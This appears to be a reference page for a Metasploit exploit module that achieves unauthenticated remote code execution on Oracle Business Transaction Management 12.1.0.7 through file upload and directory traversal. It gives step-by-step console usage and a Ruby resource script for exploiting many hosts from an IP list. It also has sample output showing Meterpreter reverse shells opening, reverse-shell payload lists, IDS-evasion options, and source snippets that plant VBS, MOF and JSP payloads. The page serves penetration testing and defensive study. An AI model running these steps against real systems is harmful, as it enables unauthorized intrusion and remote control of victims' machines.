Oracle Business Transaction Management FlashTunnelService Remote Code Execution - Metasploit


This page contains detailed information about how to use the exploit/windows/http/oracle_btm_writetofile metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Oracle Business Transaction Management FlashTunnelService Remote Code Execution
Module: exploit/windows/http/oracle_btm_writetofile
Source code: modules/exploits/windows/http/oracle_btm_writetofile.rb
Disclosure date: 2012-08-07
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Java, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 7001, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module exploits abuses the FlashTunnelService SOAP web service on Oracle Business Transaction Management 12.1.0.7 to upload arbitrary files, without authentication, using the WriteToFile method. The same method contains a directory traversal vulnerability, which allows to upload the files to arbitrary locations. In order to execute remote code two techniques are provided. If the Oracle app has been deployed in the same WebLogic Samples Domain a JSP can be uploaded to the web root. If a new Domain has been used to deploy the Oracle application, the Windows Management Instrumentation service can be used to execute arbitrary code. Both techniques have been successfully tested on default installs of Oracle BTM 12.1.0.7, Weblogic 12.1.1 and Windows 2003 SP2. Default path traversal depths are provided, but the user can configure the traversal depth using the DEPTH option.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Using oracle_btm_writetofile against a single host

Normally, you can use exploit/windows/http/oracle_btm_writetofile this way:

msf > use exploit/windows/http/oracle_btm_writetofile
msf exploit(oracle_btm_writetofile) > show targets
    ... a list of targets ...
msf exploit(oracle_btm_writetofile) > set TARGET target-id
msf exploit(oracle_btm_writetofile) > show options
    ... show and set options ...
msf exploit(oracle_btm_writetofile) > exploit

Using oracle_btm_writetofile against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your oracle_btm_writetofile will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/http/oracle_btm_writetofile")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the windows/http/oracle_btm_writetofile exploit module looks in the msfconsole:

msf6 > use exploit/windows/http/oracle_btm_writetofile

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(windows/http/oracle_btm_writetofile) > show info

       Name: Oracle Business Transaction Management FlashTunnelService Remote Code Execution
     Module: exploit/windows/http/oracle_btm_writetofile
   Platform: Java, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-07

Provided by:
  rgod <[email protected]>
  sinn3r <[email protected]>
  juan vazquez <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Oracle BTM 12.1.0.7 / Weblogic 12.1.1 with Samples Domain / Java
  1   Oracle BTM 12.1.0.7 / Windows 2003 SP2 through WMI

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  DEPTH                     no        Traversal depth
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    7001             yes       The target port (TCP)
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                     no        HTTP server virtual host

Payload information:
  Space: 2048

Description:
  This module exploits abuses the FlashTunnelService SOAP web service 
  on Oracle Business Transaction Management 12.1.0.7 to upload 
  arbitrary files, without authentication, using the WriteToFile 
  method. The same method contains a directory traversal 
  vulnerability, which allows to upload the files to arbitrary 
  locations. In order to execute remote code two techniques are 
  provided. If the Oracle app has been deployed in the same WebLogic 
  Samples Domain a JSP can be uploaded to the web root. If a new 
  Domain has been used to deploy the Oracle application, the Windows 
  Management Instrumentation service can be used to execute arbitrary 
  code. Both techniques have been successfully tested on default 
  installs of Oracle BTM 12.1.0.7, Weblogic 12.1.1 and Windows 2003 
  SP2. Default path traversal depths are provided, but the user can 
  configure the traversal depth using the DEPTH option.

References:
  OSVDB (85087)
  http://www.securityfocus.com/bid/54839
  https://www.exploit-db.com/exploits/20318

Module Options


This is a complete list of options available in the windows/http/oracle_btm_writetofile exploit:

msf6 exploit(windows/http/oracle_btm_writetofile) > show options

Module options (exploit/windows/http/oracle_btm_writetofile):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DEPTH                     no        Traversal depth
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    7001             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Oracle BTM 12.1.0.7 / Weblogic 12.1.1 with Samples Domain / Java

Advanced Options


Here is a complete list of advanced options supported by the windows/http/oracle_btm_writetofile exploit:

msf6 exploit(windows/http/oracle_btm_writetofile) > show advanced

Module advanced options (exploit/windows/http/oracle_btm_writetofile):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                5                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/http/oracle_btm_writetofile module can exploit:

msf6 exploit(windows/http/oracle_btm_writetofile) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Oracle BTM 12.1.0.7 / Weblogic 12.1.1 with Samples Domain / Java
   1   Oracle BTM 12.1.0.7 / Windows 2003 SP2 through WMI

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/oracle_btm_writetofile exploit:

msf6 exploit(windows/http/oracle_btm_writetofile) > show payloads

Compatible Payloads
===================

   #  Name                                     Disclosure Date  Rank    Check  Description
   -  ----                                     ---------------  ----    -----  -----------
   0  payload/generic/custom                                    normal  No     Custom Payload
   1  payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   2  payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   3  payload/java/jsp_shell_bind_tcp                           normal  No     Java JSP Command Shell, Bind TCP Inline
   4  payload/java/jsp_shell_reverse_tcp                        normal  No     Java JSP Command Shell, Reverse TCP Inline
   5  payload/multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   6  payload/multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

Evasion Options


Here is the full list of possible evasion options supported by the windows/http/oracle_btm_writetofile exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/http/oracle_btm_writetofile) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

NOTE: you must use a meterpreter payload in order to automatically cleanup.


Here is a relevant code snippet related to the "NOTE: you must use a meterpreter payload in order to automatically cleanup." error message:

85:	  def on_new_session(client)
86:	    return if not @var_mof_name
87:	    return if not @var_vbs_name
88:	
89:	    if client.type != "meterpreter"
90:	      print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
91:	      print_error("The vbs payload (C:\\windows\\system32\\#{@var_vbs_name}.vbs) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof) must be removed manually.")
92:	      return
93:	    end
94:	
95:	    # stdapi must be loaded before we can use fs.file

The vbs payload (C:\windows\system32\<VAR_VBS_NAME>.vbs) and mof file (C:\windows\system32\wbem\mof\good\<VAR_MOF_NAME>.mof) must be removed manually.


Here is a relevant code snippet related to the "The vbs payload (C:\windows\system32\<VAR_VBS_NAME>.vbs) and mof file (C:\windows\system32\wbem\mof\good\<VAR_MOF_NAME>.mof) must be removed manually." error message:

86:	    return if not @var_mof_name
87:	    return if not @var_vbs_name
88:	
89:	    if client.type != "meterpreter"
90:	      print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
91:	      print_error("The vbs payload (C:\\windows\\system32\\#{@var_vbs_name}.vbs) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof) must be removed manually.")
92:	      return
93:	    end
94:	
95:	    # stdapi must be loaded before we can use fs.file
96:	    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

Deleting the vbs payload "<VAR_VBS_NAME>.vbs" ...


Here is a relevant code snippet related to the "Deleting the vbs payload "<VAR_VBS_NAME>.vbs" ..." error message:

99:	          "C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
100:	
101:	    client.sys.process.execute(cmd, nil, { 'Hidden' => true })
102:	
103:	    begin
104:	      print_warning("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
105:	      client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
106:	      print_warning("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
107:	      client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
108:	    rescue ::Exception => e
109:	      print_error("Exception: #{e.inspect}")

Deleting the mof file "<VAR_MOF_NAME>.mof" ...


Here is a relevant code snippet related to the "Deleting the mof file "<VAR_MOF_NAME>.mof" ..." error message:

101:	    client.sys.process.execute(cmd, nil, { 'Hidden' => true })
102:	
103:	    begin
104:	      print_warning("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
105:	      client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
106:	      print_warning("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
107:	      client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
108:	    rescue ::Exception => e
109:	      print_error("Exception: #{e.inspect}")
110:	    end
111:	  end

Exception: <E.INSPECT>


Here is a relevant code snippet related to the "Exception: <E.INSPECT>" error message:

104:	      print_warning("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
105:	      client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
106:	      print_warning("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
107:	      client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
108:	    rescue ::Exception => e
109:	      print_error("Exception: #{e.inspect}")
110:	    end
111:	  end
112:	
113:	  def exploit
114:	    peer = "#{rhost}:#{rport}"

Failed to upload the VBS payload


Here is a relevant code snippet related to the "Failed to upload the VBS payload" error message:

163:	      )
164:	
165:	      if res and res.code == 200 and res.body =~ /writeToFileResponse/
166:	        print_good("VBS payload successfully uploaded")
167:	      else
168:	        print_error("Failed to upload the VBS payload")
169:	        return
170:	      end
171:	
172:	      if not datastore['DEPTH'] or datastore['DEPTH'] == 0
173:	        traversal = "..\\" * target['Depth']

Failed to upload the MOF file


Here is a relevant code snippet related to the "Failed to upload the MOF file" error message:

205:	      )
206:	
207:	      if res and res.code == 200 and res.body =~ /writeToFileResponse/
208:	        print_good("MOF file successfully uploaded")
209:	      else
210:	        print_error("Failed to upload the MOF file")
211:	        return
212:	      end
213:	
214:	    elsif target['Arch'] == ARCH_JAVA
215:	

Failed to upload the JSP payload


Here is a relevant code snippet related to the "Failed to upload the JSP payload" error message:

251:	      )
252:	
253:	      if res and res.code == 200 and res.body =~ /writeToFileResponse/
254:	        print_status("JSP payload successfully uploaded")
255:	      else
256:	        print_error("Failed to upload the JSP payload")
257:	        return
258:	      end
259:	
260:	      print_status("Executing the uploaded JSP #{@jsp_name}.jsp ...")
261:	      res = send_request_cgi(

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • rgod <rgod[at]autistici.org>
  • sinn3r
  • juan vazquez

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.